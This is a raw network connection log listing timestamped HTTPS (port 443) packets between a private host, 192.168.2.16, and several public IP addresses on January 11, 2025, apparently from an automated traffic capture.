Jan 11, 2025 01:11:48.200195074 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.200208902 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.200246096 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.200249910 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.200257063 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.200292110 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.238259077 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.285536051 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.285547018 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.285621881 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:48.285644054 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.285679102 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:48.285696030 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:48.286950111 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.286977053 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.286983967 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.286998987 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.287062883 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.287075043 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:48.287085056 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.287122965 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.287122965 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.287137032 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:48.287143946 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.287170887 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.287218094 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.287233114 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.287240982 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:48.287272930 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:48.287339926 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.287375927 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.288094044 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:48.288114071 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.312442064 CET	443	49722	172.217.18.4	192.168.2.16
Jan 11, 2025 01:11:48.312773943 CET	49722	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:11:48.312791109 CET	443	49722	172.217.18.4	192.168.2.16
Jan 11, 2025 01:11:48.313885927 CET	443	49722	172.217.18.4	192.168.2.16
Jan 11, 2025 01:11:48.314004898 CET	49722	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:11:48.315398932 CET	49722	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:11:48.315485001 CET	443	49722	172.217.18.4	192.168.2.16
Jan 11, 2025 01:11:48.369543076 CET	49722	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:11:48.369568110 CET	443	49722	172.217.18.4	192.168.2.16
Jan 11, 2025 01:11:48.416580915 CET	49722	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:11:48.523792982 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.524224043 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.524245977 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.525319099 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.525474072 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.526983976 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.526984930 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.527081966 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.535375118 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.535588980 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.535605907 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.536678076 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.536756039 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.537044048 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.537110090 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.537199974 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.571517944 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.571537018 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.579328060 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.587502956 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.587515116 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.619528055 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.635502100 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.744533062 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.744582891 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.744620085 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.744651079 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.744653940 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.744688034 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.744704008 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.744714022 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.744725943 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.744757891 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.744767904 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.744776011 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.744805098 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.744812965 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.744822025 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.744828939 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.744837046 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.744852066 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.744863033 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.744882107 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.744890928 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.744915962 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.744920969 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.744967937 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.745007038 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.745018005 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.745022058 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.745055914 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.745063066 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.745145082 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.745199919 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.745204926 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.760077953 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.760143995 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.760179043 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.760217905 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.760250092 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.760248899 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.760293961 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.760313988 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.760477066 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.760778904 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.760852098 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.760859013 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.760910034 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.760957003 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.760963917 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.761740923 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.761805058 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.761812925 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.762135029 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.762181044 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.762185097 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.762192965 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.762237072 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.762243986 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.762954950 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.762989044 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.763021946 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.763029099 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.763058901 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.763073921 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.763082027 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.763160944 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.763714075 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.765050888 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.765106916 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.765116930 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.765221119 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.765280962 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.765288115 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.765300989 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.765357018 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.768922091 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.768979073 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.769042969 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.769062042 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.769098997 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.769622087 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.769638062 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.769654989 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.769700050 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.769711971 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.769726038 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.769841909 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.769886971 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.769893885 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.769943953 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.770169020 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.770241022 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.770272970 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.770287037 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.770292044 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.770378113 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.770426989 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.770628929 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.770638943 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.788358927 CET	49726	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.788412094 CET	443	49726	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.788491964 CET	49726	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.788710117 CET	49726	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.788724899 CET	443	49726	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.223113060 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.223625898 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.223659039 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.224164009 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.224710941 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.224793911 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.225018024 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.267339945 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.270900011 CET	443	49726	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.271265984 CET	49726	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.271292925 CET	443	49726	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.271713018 CET	443	49726	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.272105932 CET	49726	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.272183895 CET	443	49726	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.272448063 CET	49726	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.315336943 CET	443	49726	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.356993914 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.357070923 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.357110977 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.357147932 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.357170105 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.357198000 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.357213020 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.357218027 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.357251883 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.357261896 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.357321978 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.357429981 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.357450008 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.361676931 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.361707926 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.361771107 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.361794949 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.362166882 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.396445990 CET	443	49726	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.396544933 CET	443	49726	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.398020983 CET	49726	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.398926020 CET	49726	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.398951054 CET	443	49726	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.402060032 CET	49727	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:49.402101040 CET	443	49727	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:49.402211905 CET	49727	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:49.402446985 CET	49727	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:49.402462959 CET	443	49727	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:49.443643093 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.443739891 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.443774939 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.443808079 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.443804026 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.443859100 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.443897009 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.444330931 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.444361925 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.444447041 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.444463968 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.444510937 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.444799900 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.444886923 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.444922924 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.444945097 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.444958925 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.445005894 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.445018053 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.445831060 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.445872068 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.445895910 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.445914030 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.445956945 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.445981979 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.445995092 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.446077108 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.446089029 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.446716070 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.446754932 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.446788073 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.446789026 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.446810007 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.446836948 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.491519928 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.491549969 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.530658007 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.530703068 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.530741930 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.530762911 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.530780077 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.530795097 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.530842066 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.530853987 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.530905008 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.530956984 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.530973911 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.531021118 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.531501055 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.531511068 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.531559944 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.531588078 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.531637907 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.531656027 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.531666040 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.531707048 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.531723022 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.532382011 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.532419920 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.532444000 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.532450914 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.532493114 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.533063889 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.533103943 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.533133984 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.533144951 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.533169031 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.533189058 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.534045935 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.534086943 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.534111977 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.534130096 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.534145117 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.534146070 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.534173965 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.534181118 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.534208059 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.534807920 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.534853935 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.534868002 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.534883022 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.534902096 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.587522984 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.617331028 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.617393970 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.617420912 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.617428064 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.617455959 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.617469072 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.617511034 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.617574930 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.617619038 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.617624998 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.617664099 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.617733002 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.617742062 CET	443	49725	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.617753029 CET	49725	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.620695114 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:49.620739937 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:49.620991945 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:49.621140957 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:49.621155977 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:49.635309935 CET	49714	443	192.168.2.16	188.114.97.3
Jan 11, 2025 01:11:49.679341078 CET	443	49714	188.114.97.3	192.168.2.16
Jan 11, 2025 01:11:49.746748924 CET	443	49714	188.114.97.3	192.168.2.16
Jan 11, 2025 01:11:49.746836901 CET	443	49714	188.114.97.3	192.168.2.16
Jan 11, 2025 01:11:49.746974945 CET	49714	443	192.168.2.16	188.114.97.3
Jan 11, 2025 01:11:49.747797012 CET	49714	443	192.168.2.16	188.114.97.3
Jan 11, 2025 01:11:49.747829914 CET	443	49714	188.114.97.3	192.168.2.16
Jan 11, 2025 01:11:49.756412983 CET	49729	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:49.756460905 CET	443	49729	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:49.756540060 CET	49729	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:49.756807089 CET	49729	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:49.756824017 CET	443	49729	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:49.769218922 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.769258976 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.769351959 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.769608974 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:49.769629002 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:49.858747005 CET	443	49727	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:49.859020948 CET	49727	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:49.859044075 CET	443	49727	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:49.859401941 CET	443	49727	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:49.860021114 CET	49727	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:49.860090017 CET	443	49727	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:49.860150099 CET	49727	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:49.904644966 CET	49727	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:49.904663086 CET	443	49727	104.18.95.41	192.168.2.16
